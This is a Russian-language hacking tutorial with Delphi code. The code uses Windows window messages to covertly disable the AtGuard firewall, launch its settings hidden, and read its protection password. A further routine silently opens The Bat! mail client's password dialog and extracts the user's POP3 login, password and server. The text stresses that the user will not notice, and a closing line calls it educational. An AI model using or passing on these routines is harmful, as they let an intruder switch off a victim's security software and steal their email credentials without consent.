Часто бывает нужно не только скрытно запустить свои проги на компе, но и управлять уже стоявшими там приложениями. За примерами далеко ходить не надо - это и фаерволлы, и антивирусы, и прочие представители контрразведки и
антидеверсионных отрядов виртуального мира :)) Для начала немного теории. Как ты знаешь, практически каждая программа имеет свое окно
(а часто и не одно :)) А работа с окнами происходит с помощью сообщений. Вот тут следует сказать спасибо Windows и Билли Гейцу в частности 🙂 Вполне себе можно рулить чужой программой используя ее же интерфейс с помощью простой команды SendMessage (или
PostMessage). Для начала разберемся какой инструментарий нам необходим.
Работа начинается с того, что нужно узнать какие сообщения посылаются окну при нажатии на те или иные кнопки. Для этого есть очень удобная прога под названием Microsoft
Spy++. Она в частности входит в комплект тулзов в Visual
C++. Прога эта кроме вывода свойств всех окон и потоков в системе может также перехватывать сообщения посылаемые какому-либо окну или группе окон.
В параметрах можно задавать типы сообщений, которые будут
перхватываться и отображаться, а также можно установить перехват для всех сообщений данного потока/процесса, а также перехват всех сообщений для любого из окон.
Вот такая прога нам и нужна 🙂 Рассмотрим для примера такой модный
файрвол как AtGuard. Для начала посмотрим Spy'ем какие окна есть у этого приложения.
Во-первых, сам фаерволл имеет окно типа wrq nam.
Но нам оно не подходит, так как с помощью него нельзя управлять прогой.
Второе окно, класса WRQ NAMApp Class, есть окно открываемое через таксбар. Вот оно то нам и нужно. Выбираем это окно в Spy++, запускаем Message Log. Из всего "мусора" сообщений нам нужны только сообщения типа WM_COMMAND, в Message to View выбираем только его. И видим, что при открытии меню по клику правой кнопке и убиранию галочки напротив "Enable AtGuard" было перехвачено сообщение типа
000000С8 P WM_COMMAND wNotifyCode:0 (sent from a menu) wID:40009
P означает PostMessage, a S - SendMessage, хотя это принципиально
и не важно. Переводя его в обычный формат, это
соответстует посылке сообщения
PostMessage(HWND,273,40009,0);
Где HWND - заголовок окна типа WRQ NAMApp Class. Посланное еще раз это сообщение включит фаерволл.
На Дельфе это будет реализовано так:
project nofrw;
uses
SysUtils,Windows,Messages;
var
hw:HWND;
begin
// ищем окно с классом
WRQ...
hw:=FindWindow('WRQ NAMApp Class',nil);
// посылаем мессагу вырубающую
файрвол
SendMessage(hw,273,40009,0);
{выполняем нужные действия}
// посылаем ту же мессагу, которая уже включит AtGuard
SendMessage(hw,273,40009,0);
end.
Но у этого способа есть несколько недостатков.
Во-первых, юзер может заметить изменение вида значка AtGuard.
Во-вторых, этот способ прокатит только если есть иконка фаерволла в трее.
Эти неприятности можно устранить поколдовав с прогой настроек AtGuard'a, тоже разумеется с помощью посылки мессаг.
Для начала запустим AtGuard Settings, да так, чтобы это не было заметно на экране.
Для начала посмотрим, как запускаются настройки в свойствах ярлыка для "Settings". Видим, что для этого запускается файл iamapp.exe c параметром -Settings.
Теперь остается только запустить. Делается это командой ShellExecute
(в этом случае не забудь подключить в uses
ShellApi):
ShellExecute(0,'open','iamapp.exe','-Settings','C:\Program Files\AtGuard',0);
Не вдаваясь в подробности скажу, что последний параметр - скрытно или нет запускать прогу. 0 - HIDE, 1 - cоответственно нет.
После того как прога запущена, можно управлять окном. Смотрим, что за окно у настроек AtGuard'а. Там их два, одно и заголовком "AtGuard Settings" и типом
#32770 (Dialog), другое же - с тем же текстом заголовка, но типа
applet. Причем первое окно имеет дочерние окна, среди которых элементы меню настроек
файрвола! Это нам и нужно. Как видно, все меню делиться на 3 секции-окна: Options, Firewall и
Web. В зависимости от того, с какими
параметрами тебе нужно работать, выбирается и
соответствующее окно.
Допустим, нам нужно отключить собственно
файрвол. Тогда нам нужно убрать галочку с секции Firewall напротив "Enable firewall". Что мы и проделаем, предварительно выбрав в Spy++ дочернее окно из AtGuard Settings под названием "Firewall" и типа #32770
(Dialog) Видим, что послано сообщение типа
WM_COMMAND wNotifyCode:BN_CLICKED wID:1021, hwndCtl:0000AF4;
Переводя его параметры из HEX в DEC получим
SendMessage(hw1,273,1021,2804);
Выполнение этой команды отключит файрвол. И далее нужно послать команду уже главному окну настройки, чтобы изменения были приняты (По нормальному это делается нажатием на кнопку OK :)).
Перехваченная мессага выглядит так:
WM_COMMAND wNotifyCode:BN_CLICKED wID:IDOK hwndCtl:00000AA8
При переводе же - так:
SendMessage(hw,273,1,2728);
А сам код будет выглядеть так:
...
begin
// запускаем настройки
ShellExecute(0,'open','iamapp.exe','-Settings','C:\Program Files\AtGuard',0);
// ищем окно проги настроек
hw:=FindWindow('#32770 (Dialog)','AtGuard Settings');
// смотрим, найдено ли это окно
if hw<>0 then begin
hw1:=hw;
// выбираем дочернее окно
GetWindow(hw1,GW_CHILD);
// перебираем дочерние окна
while hw1<>0 do begin
// следующее дочерние окно
hw1:=GetWIndow(hw1,GW_NEXT);
// смотрим заголовок окна
GetWindowText(hw1,buf,128);
// записываем его в виде строки
s:=string(buf);
// если нашли окно с нужным заголовком - прерываем цикл
if s='Firewall' then break;
end;
end;
// hw1 - заголовок окна меню Firewall
// отключить Firewall
SendMessage(hw1,273,1021,2804);
// принять изменения.
SendMessage(hw,273,1,2728);
end.
Таким же способом можно сделать так, чтобы firewall не запускался вместе со стартом системы или при заходе в сеть - если нет значка на экране, то при первом рассмотрении не видно, запущен ли
файрвол или нет. Это можно исправить в меню "Options". Действия аналогичны предыдущим 🙂
В том же меню и таким же способом можно убрать Password
protection, но это только когда юзер сам откроет меню настроек.
Так же можно не убирать пароль, что конечно юзер может заметить, а считать его, использую все ту же GetWindowText 🙂
Алгоритм такой - ждем пока юзер не зайдет в настройки, потом считываем элементы окна Options,
затем смотрим содержимое нужного TEdit'a
// запускаем цикл
repeat
hw:=GetForegeondWindow();
GetWindowText(hw,buf,128);
s:=string(buf);
if s='AtGuard Settings' then begin
GetWIndow(hw,GW_CHILD);
While hw<>0 do begin
hw:=GetWindow(hw,GW_NEXT);
GetClassName(hw,buf,128);
s:=string(buf);
if s='TEdit' then
begin
GetWindowText(hw,buf,128);
s1:=string(buf);
break;
end;
end;
if s='TEdit' then break;
end;
И в s1 теперь пароль к AtGuard'у :))
Этот же способ отлично подходит и для похищения пароля от TheBat'а, да так, что юзер тоже ничего не заметит, причем для успешного выполнения достаточно, чтобы вампирчик просто был запущен, без всяких заходов юзера в меню настройки.
Как известно, в меню вампирчика есть специальный пункт "Свойства" для текущего ящика. Можно достать пароль и из него, только для этого придется сделать переход вида "Установки пользователя" - TPanel - TNotebook -
"Servers" (TPage) - "Получение почты" (TGroupBox) - TEdit, в котором и содержится искомый пароль.
Но как известно, у вампирчика в меню есть отдельный пункт -
"Сменить пароль POP3". И в открывшемся окне в одном из TEdit'ов есть старый пароль!
Все что нам нужно - это найти wID мессаги, открывающую данную менюшку.
Смотрим и видим - wID:139
Тогда код будет такой:
var
mas:array[1..10]of string;// массив для записи содержимого TEdit
n:integer;// кол-во TEdit'ов
hw:HWND;// идентификатор окна
s:string;// строка для записи типа окна
buf:array[0..127]of char;// массив для промежуточной записи данных окна
begin
n:=0;
hw:=FindWIndow('TMailerForm',nil);
SendMessage(hw,273,139,0);
// чтобы окно смены пароля успело открыться
Sleep(100);
hw:=FindWindow('TPasswordChanger','Сменить пароль POP3');
// далее - опять смотрим все TEdit'ы и пишем их в массив, там кроме
// пароля будет логин юзера и адрес его pop3 сервака.
hw:=GetWindow(hw,GW_CHILD);
while hw<>0 do begin
hw:=GetWindow(hw,GW_NEXT);
GetClassName(hw,buf,128);
s:=string(buf);
if s='TEdit' then begin
n:=n+1;
GetWindowText(hw,buf,128);
s:=string(buf);
mas[n]:=s;
end;
end;
// В массиве mas - полученные данные.
// Теперь остается только закрыть окно TPasswordChanger
CloseWindow(hw);
Все это происходит буквально за какую-то долю секунды, так что юзер даже не успеет понять, что это только что промелькнуло на экране :)).
Так что этот способ применим для многих целей, главное - с помощью нужного софта перехватить сообщения из меню, ну а далее все зависит только от твоей фантазии :)).
Весь выше написанный материал предоставлен только с образовательными целями, как пояснение работы с сообщениями в меню (С наглядными примерами :)).